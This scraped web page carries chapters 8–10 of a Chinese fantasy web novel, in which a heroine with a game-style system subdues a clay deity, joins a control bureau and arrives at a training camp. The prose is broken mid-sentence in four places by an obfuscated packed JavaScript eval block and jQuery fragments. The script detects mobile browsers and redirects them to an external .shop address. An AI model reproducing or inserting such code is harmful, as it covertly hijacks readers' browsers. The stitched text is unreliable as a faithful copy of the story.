35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315393|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>将所有人从原地击退三十余米,观音庙的大门直接被掀开,庙里的东西全都被击飞升天。
人间下了一场‘人’雨。
所有人躲避着从天而降的大臂,四十五码大脚,超扁后脑勺,双开门肩膀……
一道黑色闪电从庙里飞出,击飞目标路线上的一切障碍物,如同机械般精准锁定,抓住了逃跑的少女。
“躲什么?”金双绛的声音跟鬼一样出现,一张没有任何多余表情的脸出现在身侧,吓得那个身影跌倒在地上。
“王,凝,画。”
祂的脸开始闪动,无数五官随机拼凑在一起,最后定格为一张小女孩的脸。
呜咽着说:“恶魔……恶魔……”
【获得道具:绝对恐惧的真心
攻略进度:100%
复刻异能:塑型
一种更高端的玩泥巴方式】
【解锁人物档案:王凝画】
【童年时期生活顺遂幸福,于寒冬被外乡人失手杀死。
临死前目睹母亲失血而死,怨念滋生,被慈观音寄生,此后和父亲一起经营塑身箍魂的操作。
村里人口不多,父女打造双生传闻,借此扩展村业。
在二十多年后的今天,被金双绛吓失魂。】
金双绛的掌心多出一颗晶莹宝石,她举起来仔细打量了一会儿,将它镶嵌在竹棍上,随后一起化作玉镯挂在金双绛腕间。
四周全是乒乒乓乓的碰撞声,金双绛感到头疼。
老大疯魔,这些小弟可不好管。
金双绛睁开眼,转身看着向她奔来的几人,伸出胳膊,打了个响指。
‘啪——’
几人手中的武器还没来得及切断那些泥人,后者就像流水般消散了,沙漏一般汇聚成一个土堆,沉积于地面,消融。
整条街只剩下此起彼伏的喘息声。
‘啪啪啪!’
金双绛拍着手走过来,脸上带着一如既往自信的笑,说:“任务圆满完成!大家可以准备收工了!”
她身上的冲锋衣破了好几个口子,脸上还沾着不知道是谁的血。
但是他们跳动的心脏并没有因为金双绛的话而平息,赵微尘冲上前抓住金双绛的手腕往侧边飞奔。
剩下的几人也纷纷逃窜,一个像是古树巨|根的东西从街道的另一头侵袭而来,包裹住王凝画的身体。
“是王贵权。”赵微尘解释着。
就在金双绛冲过去抓王凝画的时候,王贵权突然爆发,无差别攻击着泥塑和尚盈盈几人。
金双绛失望:“还以为你们是过来接应我的,原来是在逃跑。”
赵微尘回头,微微抬起握住金双绛手腕的手,说:“这不是接到了。”
“我给你的链子还有吗?”
赵微尘摸着口袋:“还剩一个。”
范行舟一拳砸在泥手上,堪堪砸出一条裂缝,尚盈盈一连掷出十颗石子,效果如出一辙。
两人配合着躲避着王贵权的攻击。
“你俩别看我,我是负责侦查的,这东西硬的跟我奶蒸的馒头似的,我可搞不了。”祁琪一手拿着艳绿色头巾,一手抓住深红色大花棉袄在塞什么东西。
像甩着两个手绢,往远处一溜烟跑开了。
金双绛黑色的身影踩着王贵权的指节一越而下,与赵微尘一手抓着金链子的一端,奔着彼此,交错而过。
彼时链子上金刺疯长,切断了王贵权的手。
“啊啊啊啊啊啊啊!”
尖叫声刺穿所有人的脑神经,中年人沙哑的嚎叫,竟然慢慢转变成了一个孩童的哭喊。
“爸爸!爸爸!!我好疼啊!我好疼啊!”
金双绛瞳孔收缩,将链子锁定另一个身影。
8. 第八章-邀请
但令金双绛没想到的是‘慈观音’根本就没有逃跑,祂静坐在原地,看着金链子盘绕上脚踝,将自己固定在原地。
几个人纷纷侧目,耳边只回荡着王贵权那违和惨叫声。
那是王凝画的声音,金双绛想。
为什么王贵权的身体会有异变,当年那场雪夜究竟发生了什么?
王凝画最喜欢捏泥人,当年爸爸他们挖出来观音像的时候,她悄悄捏了一个与之有七分相似的小泥塑。
她把东西揣在怀里,去找爸爸,想给他分享,却在半路遇到一个奇怪的哥哥。
女孩拒绝了他玩游戏的邀请。
怀里的东西被甩在地面上,推搡间王凝画的后脑撞碎了泥塑,血液混杂着泥片躺在雪地里。
好像有人来了,温热的血液又流淌在雪地间。
泥塑抹去自己的脸,换上了王凝画的模样,钻进她的身体,救活了弟弟,也救下了父亲。
那些人乖乖出钱出人,将村子修建的比以前漂亮多了。
而‘王凝画’也只需要在某些深夜,等待爸爸出现,给她食物和任务。
而那些土壁中的‘人’都是父女这几年留下的失败品。
情报员的记录到这里就消失了,金双绛将文件合上,封面清晰地印着:腐烂体186泥塑观音。
“186……”金双绛看向尚盈盈,“这几年你们收押了这么多腐烂体?”
尚盈盈打了个哈欠,从福佑村回到管控局,她和范行舟一直忙前忙后,不少事情都要他们两个帮忙核对细节。
王贵权的审问过程金双绛也参与了,跟她预想的差不多:双拳难敌四手,王贵权当年被打的还不了手,慈观音占据王凝画的身体将她的灵魂附着在王贵权身上。
这也是王贵权能使用‘妙手’的原因。
导致自己的爸爸成了个不人不鬼的东西,悲剧啊。
好在当时祁琪及时喊来了管控局的人,将父女收押后留下来进行后续工作。
金双绛受了伤被安排在医院指定楼层修养,由赵微尘陪护。
尚盈盈和范行舟都默契的没有提及他们两个造假的兄妹关系,以为这是他们行走江湖的伪装。
也可能是太忙了,直接将这件事抛到了脑后。
金双绛出来接热水,刚巧在医院的走廊上看到了尚盈盈,就捧着一桶泡面坐到了她旁边。
金双绛吃面食也很安静,没有打扰到尚盈盈对着一份新鲜出炉的文件皱眉思索。
金双绛这边也没闲着,打开属性面板查看着此次福佑村之旅的收获。
【范行舟好感度:10】
【尚盈盈好感度:30】
【祁琪好感度:20】
还有她已经使用过一次的新技能:【塑型】
跟捏金差不多,金双绛还打算哪天找个陶艺馆练习一下捏泥人这项技术。
如果以前自己要是拥有这个能力,创造一只不老不死的百万军队,一统天下不就是自己眨眨眼的事情。
想到这里,金双绛眨了眨眼,傻傻被自己逗笑了一下。
侧目看向尚盈盈,金双绛抬手展开她的眉心,问:“福佑村的事情还没结束?”
尚盈盈露出一个很复杂的微笑,笑得金双绛整体往后动了一下,她说:“多亏了你,王凝画把泥塑人都捏碎了,他们的□□和灵魂都解放了,但是!”
“一夜之间消失了那么多人,记者们会怎么报道,被莫名其妙关了一晚上的村民们会怎么想,还有重修道路的钱……”
金双绛盯着尚盈盈那只喋喋不休的小嘴,耳边突然回响起范行舟的话。
好吧,我现在有点理解你了。
金双绛伸出一根手指挠挠脸颊,仔细回忆了一下,问:“消息不是封锁了吗?我还特意挨家挨户在水里加了料,按理说他们不会察觉到其他……”
冰凉的小手覆在金双绛的下半张脸,尚盈盈前后张望:“我去,你是干什么的,做的也太周到了,我才刚刚想到这里。”
金双绛疑惑挑眉,从尚盈盈的手里接过文件夹,上面是一堆乱七八糟的简笔画,还有几个用黑线连在一起的字:
福佑村,村民,家人,钱,金双绛。
原来是在复盘,还真是好学啊。
“唔?唔唔?”
哦?还有我?
原来她坐在这里未雨绸缪呢,上司还没下达的命令,尚盈盈在一边已经列上planABC了。
金双绛轻轻把她的手拿开:“我问你几个问题吧。”
“你说。”
“其实我也侧面打听过那些泥塑人回村的时间,大多数初中都没念完,而他们家人来看他们的次数也都随着时间的增长逐步减少。”
金双绛忽然笑了一下:“如果你有一个随时会响的闹铃,把它放在一个固定的位置,很安全而且你也知道,你是选择带在身边还是放手?”
尚盈盈愣了一下,就听金双绛补了一句:“不过,我猜他们的妈妈会很伤心。”
“是啊,也是身上掉下来的骨肉。”
手里的文件被人合上,金双绛说:“但其实本来也不多不少,贪心不足蛇吞象,这件事赖不了别人。”
“不过竟然让我们尚大人连黑眼圈都熬出来了,简直胆大包天!”
尚盈盈扑哧一声笑了出来,同时弹出的还有系统的提示音:
【尚盈盈好感+10】
【尚盈盈(异能者)
年龄:27
武器:射击类
顶级评定:三星中等
履历:教师妈,医生爸,从小就独立自强的报恩娃,学习一直处于中上游,从小到大算得上叛逆的一件事就是染了粉头发。
循规蹈矩按照父母的设想进入了管控局训练营,仍旧出于中上游位置,不拔尖,但有任何高级任务都不会缺席。
喜欢讲话聊天,胡思乱想。】
“三星中等?你这是又修好什么bug了?”
【丰富一下系统而已,您别说的我太太太不靠谱好不好?】
“好好好。”
尚盈盈看着金双绛愣神,等了几秒,脖子间凑过来带着红烧牛肉味道的白色毛球。
毛球开口说:“困了,给我讲故事吧。”
这个要求来的突然又奇怪,尚盈盈几次开口,又憋了回去,最后选择讲述这几天在福佑村看到的风景,经历的事情。
尤其是讲到被肚子限制行动的时候,语调尤为高昂啊。
尚盈盈的声音突然消失,一句急促的:“局长!”将金双绛从昏沉中拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315394|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出。
尚盈盈从椅子上站了起来,从肩膀上滑落的毛球落到了赵微尘手上。
他掐住金双绛的脸蛋,将她摆正。
此时,金双绛才看到三人面前站着两个人。
范行舟,他身边站着一个穿着深灰色外套的中年男人,身材匀称,头发有些稀疏,国字脸,看起来很和善。
“是不是打扰你们休息了?”男人说。
金双绛也站了起来,一头雾水看向紧张的尚盈盈和一言不发的范行舟。
“我给你介绍一下,这是管控局的局长,吴深豪吴局长,”尚盈盈又转过去,“局长,这是这次帮助我们完成任务的金双绛,赵微尘。”
【解锁吴深豪初始好感:10】
“您好。”金双绛说。
“你们好你们好,事情我已经听说了,你们的医疗费用管控局会报销,我这次过来其实是为了另一件事。”
金双绛看着吴深豪,等待着下文。
“先说一声抱歉,来之前我对你们做了一些简单的调查,异能者,很稀缺啊。”
两双布满老茧的双手来回搓了搓,他问:
“不知道你们有没有兴趣加入管控局?”
这个插曲实在是太意外,不过对于金双绛来说还有好事一桩。
一来能接触到更多异能者,而且有了管控局这个靠山调查起什么事情也很方便,二来,他们目标一致,团结就是力量。
而且金双绛认为赵微尘对她这个决定是大力支持的。
翻页声唰唰,金双绛看着赵微尘给二人造的假身份,假信息,将管控局的情报支队都骗过去了。
金双绛不说万事俱备,金双绛说有赵微尘。
现在离两人进入管控局的训练营只差一个签字和两天的修养时间。
管控局的训练营里大部分还是普通人,像尚盈盈和范行舟那样的异能者并不多。
训练讲究五年制,他们俩还差一年结束训练,正式成为管控局的员工。
由于金双绛和赵微尘战绩优异,破格与他们同级训练,成为了史上训练时间最短的正式工。
这次福佑村也是平常训练的任务之一,但理论上需要搏命的任务还轮不到他们,这次只能说是意外中的意外。
除了金双绛,范行舟在泥人的围攻下好像是伤到了胳膊,跟金双绛一样在医院里躺了几天。
据说每天都能看见他在楼下花园里晨跑的身影,但金双绛只看到过一次,是在听到护士们谈论之后。
“这些东西,你是什么时候弄得?”
赵微尘放下切好的苹果,想都没想就说:“第一晚。”
他抬起头,像是很认真的在考虑:“你说要做同伙,我想……应该没有人会选择躺在别人院子里过夜,所以就提前准备了。”
金双绛嘴角一勾:“然后我就真的成了你妹?”
“灵感来了,挡不住嘛。”
金双绛毫不在意赵微尘的本意,毕竟替自己卸下一个大活,而且他也很聪明的没有多问,这点让金双绛很满意。
根据吴深豪的介绍,训练营坐落于深山之中,年年人来人往,基本每个年级能保持在两百人左右。
金双绛和赵微尘作为近几年唯二空降生,大概是意料之内的备受瞩目。
9. 第九章-故友
十年前的老电影在墙面上四十寸显示屏上放映着,甚至还没有字幕,声音算不上多大,刚好能让病房里显得不那么冷清。
赵微尘前去负一楼打饭,只留下金双绛一个人在病房里无聊。
根据这几天的观察来看,医院的管控局专层不管是对病人还是医生护士的人员把控很严格,非必要不会把任何事只交给一个人去做。
就连倒垃圾这件小事也是如此。
还剩下一半的吊瓶被倒挂在架子上,另一头连接着病床边上的金双绛。
余光瞄到门边闪过一道白色身影,好像是医院里的医生,不太清晰的侧脸反复印在金双绛的脑子里,她似乎想起来在哪里见过这个人。
用另外一只可以活动的手推着架子走了出去。
来到门口,却发现那人消失了,只有三个护士在走廊里推着铁架子推车挨个病房走着。
金双绛抓着架子又把走廊来回看了一遍,正打算遗憾撤退的时候,隔壁病房的门被推开了。
是个她不认识的病人。
金双绛的视线没有多做停留,转身向病房了走去。
“金双绛?”声音在身后响起。
那声音很凌冽,像是教导主任在巡课时刚好看到你在把玩什么违禁物品并且精准的锁定了你的名字。
金双绛扬起笑容,更加确认了自己没认错人。
“好久不见,老同学。”
【解锁人物档案:棠溪颖(人类)
初始好感:20
年龄:25
职业:医生
等级评定:二星上等】
系统突然提起,金双绛才想起来它更新的等级评定是抄了管控局的,一点没改,直接照搬。
被金双绛发现是因为吴深豪给出的合约中提到了这一点,等到进入训练营后要进行一次等级评定,分类如下:
大框架为六个星级,每六个星级之间分为上中下三等,根据综合数值评定。
王贵权的顶级评定为二星下等,王凝画的等级评定为三星中等。
金双绛捂着创口贴,看着棠溪颖慢条斯理整理着管子,将它丢尽垃圾桶里。
“你在管控局工作?”金双绛问。
棠溪颖思考了一下才回答:“不算吧,只是和公司有合作,”说着,她坐到沙发上打量着金双绛身上的病服,“怎么受伤了?”
“皮外伤而已,吊瓶里面都是葡萄糖,”金双绛盘腿坐在病床上,“管控局和哪家公司有合作?”
“创生集团,苏家的,我现在的老板是苏郁野。”
棠溪颖长相干净,说话沉稳,柔顺的长发半扎在脑后,嘴角一点皱纹都没有,金双绛曾一度怀疑她的面部肌肉不会笑这个动作。
算上苏郁野,他们三人是高中同学,但也是另外两人单方面认为的高中同学。
说来也巧,那天金双绛特别馋便利店的饭团,从山下溜出去买了十多个,路过小巷口的时候遇见了被围堵的苏郁野。
时间太久,她就记得苏郁野给了她很多钱,让她做保镖,于是乎金双绛那三年每天都有吃不完的饭团和冰激淋。
而棠溪颖和苏郁野都喜欢研究金双绛看不懂的细菌啊,试剂,虽然看不懂,但是金双绛在一边呆着也不无聊。
慢慢就成了形影不离的朋友。
两人只聊了几句很快就找回了当时高中的感觉。金双绛问:“当时天天看你们两个捣鼓瓶瓶罐罐,现在也是事业有成了,那你们公司都经营什么?”
“抗癌,细胞再生,公司的研发项目很多,你要是感兴趣可以跟苏郁野说,一定给你开VIP通道。”
“你经常来这里吗?我之前怎么没遇到过你。”
棠溪颖摇头:“我偶尔回来,这次是因为你们抓住的那个男人,他的断肢。”
金双绛嘿嘿一笑:“你怎么知道是我抓到的?”
“感觉,以前我们做实验的时候你不也经常感觉吗,而且每一次都是准的,其实当时我们老师一直想抓你来上课,被苏郁野劝退了。”
棠溪颖低头思索,像是回忆起什么,接着说:“他说,你得去买饭团,没时间。”
金双绛嘴角僵住,难以置信地闭上双眼躺倒在病床上:“难怪啊,难怪,我的体重明明保持的很好,但是那个老家伙每次见到我都说我脸又圆了。”
棠溪颖看着金双绛瘫倒在床上的样子,眼神柔了下来,轻声说:“你没变。”
“嗯?”金双绛算算三人分开不过才四年左右的样子,能有多大变化?
“你变了。”金双绛盯着棠溪颖说。
后者表情没有任何变化,似乎料到了金双绛要说什么。
“像个大人。”
棠溪颖微微愣住,金双绛的话显然和她一开始想的回答不太一样,比如:变漂亮了,变高了这种除了使人嘴角上升没有任何意义的回答。
“谢谢。”
棠溪颖的眼底泛起亮晶晶的水光,映着一个小小倒立的金双绛。
不过金双绛倒是没想那么多,以前的棠溪颖留着刘海,现在梳上去了,是真的,像个大人,古时候的内种大人。
“所以,你被派去研究那个断手了,有什么发现?”
“毫无收获,就是普通的腐烂体,而且我进入实验区域后,一直听到隔壁有个女孩子在喊好疼。”
金双绛挠挠头,棠溪颖一定想不到那个女孩子还张了一张耄耋的脸。
“这样啊,估计是疗程用到的药太刺激,女孩子承受不住吧。”
‘咚咚——’
敲门声打断了两人之间的谈话,赵微尘拿着午饭站在门口,对着金双绛轻轻点头问:“这位是?”
金双绛开口介绍:“这是我高中同学,”她转过来对着棠溪颖说:“这是我……表哥。”
棠溪颖礼貌点头:“表哥好。”
“嗯,你好。”
棠溪颖的表情没了刚才的温存,变成了比手术刀还要锐利的模样,像是能直接从阎王手里抢人的医生。
不过因为她本来就没有多余的表情,所以赵微尘并没有看出什么。
金双绛看着棠溪颖的变化,发觉她真的变了很多。
“别目送了,先来吃饭。”赵微尘说。
两人吃着饭相顾无言,明天就要出发去训练营了,金双绛很快把盒饭消灭,等着赵微尘吃完。
“你就这么跟着我走了?”
赵微尘指尖僵住,像是从来没有考虑过金双绛会问出这种问题。
他低着头,没有说话,露出半张侧脸和细长的脖颈,喉间微动:“我家里人都走了,除了跟着你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315395|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我似乎没有地方……”
赵微尘没把话讲完,默默将东西收拾好,又被金双绛拉着衣角坐下来。
“哎哎哎,我没想赶你走,既然你要跟着我,我这个当老大的也得拿出点诚意不是。”
赵微尘眼神一亮,看着金双绛从背后掏出一张白纸,上面写着:
劳务合约签订
甲方:金双绛乙方:
每月工资:五万。
言听计从,不许背叛,同伙作案,拔除腐烂!
上面的写的很简略,看到最后赵微尘直接笑了出来,金双绛在一旁立刻很激烈地说:“如何,很押韵吧,我只用了两秒就想到了!”
“嗯,很棒。”
赵微尘利落在上面签上名字,字体俊美,反倒是显得金双绛之前写的那些字有些……不堪入目。
金双绛摸了摸鼻子,自己写字不好看心里是清楚的,可是看着赵微尘这么仔细端详‘墨宝’还是有些心虚。
“那我就拿……”
赵微尘将白纸叠好收在胸前的口袋里,没给金双绛一点碰到的机会,他拿出手机点了几下,对着金双绛挥了挥:“老大,银行卡号发给你了,你记得按时发工资。”
金双绛两手一摊,全然一副绝对不会差事的表情。
特别得意的扬了扬嘴角,旋即拿起桌子上的苹果扔给赵微尘。
赵微尘接过背包,将其中一个递给金双绛。
“这里面是什么?”金双绛问。
尚盈盈拽了拽身上的深灰色迷彩服回答:“你们的衣服,还有通讯设备。”
几人坐在面包车里摇摇晃晃,外面是叠嶂的山峦,金双绛举起手机发现已经没了信号。
“还有多久?”以前出门都是御剑飞行,导致金双绛一直都很不适应坐车。
“还有半个小时吧。”范行舟看了眼手表说。
尚盈盈,祁琪,金双绛,三人体型偏瘦,坐在最后一排,还挤了一个赵微尘。
开车的司机是个带着墨镜的黑皮短寸帅哥,每次看到他金双绛都不禁在脑海里想象出热烈奔放的草裙舞和奔腾的海滩。
副驾驶是一个看起来知性慵懒的美女,酒红色的长发及腰,像西边酒馆躺在窗户下休憩的布偶猫。
第二排则是范行舟和吴深豪。
除了尚盈盈和金双绛偶尔会开启一段对话,车里基本上都是无声状态。
这种过于严肃的氛围实在是让金双绛本来就喘不上的气憋在胸口。
“吴局长,福佑村的事情都处理好了吗?”她问。
“都进入收尾工作了,家属那边我们负责安抚和解释,审讯过程中王贵权和王凝画对自己所做的事情都如实交代了,省去我们不少时间。”
吴深豪又好奇地问:“你究竟做了什么,队员在审讯过程中提到了你的名字,王凝画就跟陷入了什么巨大的恐惧一样。”
额……把祂一直奉行的准则和不敢面对的错误一一摊开?把祂所有不堪和罪恶纷纷揭露?让祂多年心血毁于一旦?
金双绛说:“嗯……我就是打了她一顿,可能下手有点狠了?”
吴深豪似乎还想问些什么,被汽车滴滴声给打断了。
栏杆升起。
“到了。”
一个重型基地呈现在众人眼前。
10. 第十章-基地
几栋白色高楼坐落于群山之间,中间还有超大训练场,是普通四百米跑道的三倍大,室内铺设了专用格斗地毯,外面是一千米塑胶跑道。
金双绛有点理解尚盈盈和祁琪每跟她说一两句话看着窗外的场景就要叹气的原因了。
“早训,武训,技巧,理论,晚训……”
这个时间表是认真的吗?
金双绛仔仔细细,反反复复,来来回回读了三遍:“除了吃饭,没有一点自由活动的时间??”
尚盈盈有些沉重的拍了拍她的肩膀:“会适应的。”
几个人并排走着,路上只遇到几个路过的老师,现在这个时间训练生们都在室内格斗场训练,明天是新生入营仪式,尚盈盈和范行舟跟吴深豪打过招呼就离开了。
墨镜哥将墨镜卡在后脑勺,绿豆大小的眼睛看向金双绛和赵微尘后爽朗一笑:“我是你们的后勤老师,龚震。”
【解锁人物初始好感:0】
“往前面走,左拐是食堂,上下三层,二楼的炒面最好吃,不过他们一般都去一楼吃什么牛肉,玉米,”龚震指尖换了个方向,“那边是寝室楼,会议室,礼堂……”
将训练营整体都跟两人介绍了一遍,随后插住腰问:“吴局,这两个小娃,我先带走啦?”
刚才副驾驶上的漂亮姐姐也走了过来,在车里只能看到她秀长头发,没想到她的眼睛上竟然缠着一个白色纱布条。
那布条很厚,就算睁大眼睛贴近了看也是一片茫白。
她却视若无物地来到几人身边:“带那里去?这是我学生,明天开幕的布置你不会还没弄好吧,又想挖免费劳动力?”
【解锁人物初始好感:0】
金双绛眉心一跳,在心里默默说:比棠溪颖还像教导主任的人来了。
金双绛本身一七五的身高,花圭垚肩膀还要比她高出几厘米,她站在这几个人身边竟然感受到一种奇怪的压迫感。
赵微尘神色如常,静静的看着他们,手里拎着两个背包。
吴深豪招招手将一脸尴尬但貌似仍不死心的龚震叫走,对着花圭垚说:“把他们两个安顿好,然后到会议室等我们。”
花圭垚冲着吴深豪的方向点点头,随后转过来看向金双绛,在她转过来的一瞬间金双绛立刻盛满微笑。
“老师您好,我叫金双绛!”
一只手举在身前等待着花圭垚的回应。
而花圭垚只是轻轻拍了一下金双绛的手心:“我叫花圭垚,是你们的理论课老师,还有一位范老师,明天你们就能见到了。”
赵微尘微微俯身点头,金双绛收回手说:“好的,小花老师!”
花圭垚的唇似张又闭,最后什么都没说,沉默着带领两人前往寝室楼。
【花圭垚好感+10】
金双绛稍感惊讶,看着那道窈窕身影不知道在想些什么。
男生寝室实在是爆满,赵微尘被安排在教师宿舍休息,而他的室友则是即将给他们上课的龚震和范译杰。
金双绛则是很幸运的被分到了女生宿舍唯一一个空床位,不过据花圭垚的贴心提醒,这个宿舍不太一样。
“之前住过那个寝室的三个小姑娘吵着要搬走,实在是没辙,把杂物室收拾出来也要走,如果你也呆不下去,可以去跟她们挤挤。”花圭垚说。
两人走到415宿舍门口,花圭垚抬腕轻敲:“同学,开门。”
门把手很快被拧动,一个留着齐刘海,面色白润,眼神孤傲的女孩子出现在门后。
刚下课,她的身上透着薄汗,空气里隐隐有沁香。
“老师好。”女孩礼貌地打招呼,眼神注意到花圭垚身后的金双绛,微不可察地皱了下眉。
花圭垚走进房间,指着另外一张空床示意那里以后就是金双绛的床位。
房间被打扫得很干净,没有多余杂物,金双绛还看到女孩的桌面上摆了一个小猫雕塑。
“你先收拾收拾,三点半准时到会议室。”
花圭垚带着纱布的脸冲着金双绛一扫而过,转身离去。
金双绛再次露出招牌微笑,冲她举起手:“金双绛,你好。”
女孩淡淡地瞥了眼金双绛,后者坐在床上一副谁看她她就冲谁笑的傻样。
金双绛还不知道自己在别人眼里已经成了笨蛋,眼看着女孩翻身上床,鞋跟搭在床边,而下面还有一个小标签,上面写着:裴长鱼。
【解锁人物初始好感:0】
金双绛也不尴尬,活的久了脸皮也跟着长,见人家不搭理自己,就自顾自开始收拾,拿出包里的衣服走到卫生间换上。
修身但不贴身,穿在身上格外舒适,金双绛站在镜子前仔细欣赏了一会儿才走出去。
一出来就看见裴长鱼在摆弄手机,她才想起来那部新发的手机,坐在床上掏出来翻了翻。
供消遣的游戏只有消消乐和贪吃蛇,再稍微娱乐一些的则是有关时事新闻的公众号,还很贴心的备注好了老师的联系方式。
在车里的时候赵微尘递给过金双绛一张纸条,金双绛从兜里拿出来一看正是一串电话号码。
她试着发送信息:{五万?}
对面很快就有了回复,像是一直在等她:{老大^_^}
{你都收拾好了?}
{没什么东西,很快就弄好了。}
{好,一会儿见。}
{嗯。}
“电话发来。”
安静的寝室突然出现说话声,金双绛以为自己幻听了,抬起头,只见裴长鱼似乎是耗费最后一丝耐心重复说:“电话。”
金双绛凑到她床边,将电话打出来给她看,没一会儿就收到一个新消息:
{.}
金双绛顺手备注:小鱼。
不知道怎么回事被裴长鱼扫到,她抓住金双绛的胳膊:“改了。”
金双绛一脸无辜,回头看着她:“不要。”
裴长鱼憋了又憋,忽然掏出一张A4纸怼到金双绛眼前,跳下了床。
上面是密密麻麻的寝室公约:
1.十一点之后保持安静。
2.厕所的垃圾袋每天更换。
3.不许在寝室吃辣条,麻辣烫等重味食物,包括零食。
4.衣服洗完要拧到不滴水……
整整十多条,金双绛还没看完,裴长鱼拿起外套往门外走,边走边说:“熟记熟背,别犯规。”
金双绛立刻点头,脸上一点被为难的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315396|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感觉都没有,反倒还笑呵呵的。
裴长鱼一愣,接着说:“还有,把你那个备注改掉,写我的大名。”
金双绛拿着公约,走到她旁边略作热情地问:“你不喜欢?我觉得挺好听的啊,你也可以叫我小金?小双?小绛?”
裴长鱼的眉眼满是嫌弃但没有一丝愠色,低声说了一句:“笨蛋。”就推门离开了。
门关上后,金双绛收敛笑意,将公约贴到门上,坐在床上听着系统的提示:
【裴长鱼好感+10】
本来训练一天就很苦了,回到寝室还要面对这么一个活神仙,果然宁愿住杂物间也不要留下啊。
金双绛的视线深深扫过对面床上的一切,包括那个名字。
一副时时刻刻都被惹毛的模样,倒是不会无聊了。
时间很快来到三点,金双绛早早坐好等待着剩下几个人的到来,第二个推门进来的是龚震,估计是干了不少体力活,满头大汗地豪饮两瓶矿泉水。
随后靠在椅子上睡了过去。
赵微尘坐到金双绛旁边问起她的室友:“好相处吗?”
金双绛稍作思考:“感觉比你的室友好相处。”
赵微尘被逗笑:“那你可猜错了,我现在还没和他们接触过。”
“估计训练营里的老师比学生忙,你可以安心享受个人世界了。”
赵微尘的指腹在扶手上摩挲,淡淡应了一声。
花圭垚等人及时赶到,一张与范行舟八分相似的脸出现在对面的时候,金双绛和赵微尘默默对视了好几眼。
赵微尘:原来他还有个这么厉害的爹?
金双绛:如果你跟他爹处成哥们儿的话……
赵微尘:?
范译杰显然是注意到对面两人的小动作,轻咳了一声,开口说:“我听行舟说了你们两个,他对你们的评价很高。”
金双绛笑说:“我们再厉害也需要可靠的队友在背后撑腰不是,老师您过奖了。”
这次会议并不是以他们这两个新兵蛋子为中心展开,只是还有些事情需要宣布,宣布完两人就可以撤退了。
首先,要确定他们的学号。
这个学号并不是简单的数字,而是多方面实力的综合考量,关系到毕业以后的去向和职位。
数字越小,水平越高,大概就这意思。
每个月都有组队或者单人任务,需要训练生去拔除腐烂体。
听着龚震的话,金双绛莫名感觉这里的气氛有些诡异,向他们这样的制度排序,很容易造成歧视和孤立。
“好像,没有其他东西需要介绍了吧?”
龚震讲了半天,看向另外几人。
花圭垚说:“没了,在这一年你们会经历很多,也会收获很多,各自努力吧。”
金双绛和赵微尘一前一后离开,脸上带着愁容。
“这哪里是重新排序?分明就是要我们单挑一百单八将啊!”金双绛无奈咆哮。
“车到山前必有路,走一步看一步吧。”赵微尘显得很平静,像是做好了准备。
“我只是担心……”
“担心什么?”
“我的同学们啊……”
金双绛说完轻轻笑了笑。